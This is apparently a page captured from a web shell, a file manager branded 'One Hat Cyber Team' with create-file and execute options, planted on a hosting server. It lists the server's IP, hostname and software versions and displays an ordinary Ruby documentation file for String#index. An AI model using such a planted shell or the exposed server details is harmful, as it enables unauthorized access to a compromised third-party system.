⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
String
/
View File Name :
index-i.ri
U:RDoc::AnyMethod[iI" index:ETI"String#index;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"RReturns the \Integer index of the first occurrence of the given +substring+, ;TI"or +nil+ if none found:;To:RDoc::Markup::Verbatim; [ I"'foo'.index('f') # => 0 ;TI"'foo'.index('o') # => 1 ;TI"'foo'.index('oo') # => 1 ;TI"!'foo'.index('ooo') # => nil ;T:@format0o; ; [I"SReturns the \Integer index of the first match for the given \Regexp +regexp+, ;TI"or +nil+ if none found:;To;; [ I"'foo'.index(/f/) # => 0 ;TI"'foo'.index(/o/) # => 1 ;TI"'foo'.index(/oo/) # => 1 ;TI"!'foo'.index(/ooo/) # => nil ;T;0o; ; [I"I\Integer argument +offset+, if given, specifies the position in the ;TI" string to begin the search:;To;; [I" 'foo'.index('o', 1) # => 1 ;TI" 'foo'.index('o', 2) # => 2 ;TI""'foo'.index('o', 3) # => nil ;T;0o; ; [I"EIf +offset+ is negative, counts backward from the end of +self+:;To;; [ I"!'foo'.index('o', -1) # => 2 ;TI"!'foo'.index('o', -2) # => 1 ;TI"!'foo'.index('o', -3) # => 1 ;TI"#'foo'.index('o', -4) # => nil ;T;0o; ; [I"Related: String#rindex;T: @fileI" string.c;T:0@omit_headings_from_table_of_contents_below0I"nstring.index(substring, offset = 0) -> integer or nil string.index(regexp, offset = 0) -> integer or nil ;T0[ I"(p1, p2 = v2);T@4FI"String;TcRDoc::NormalClass00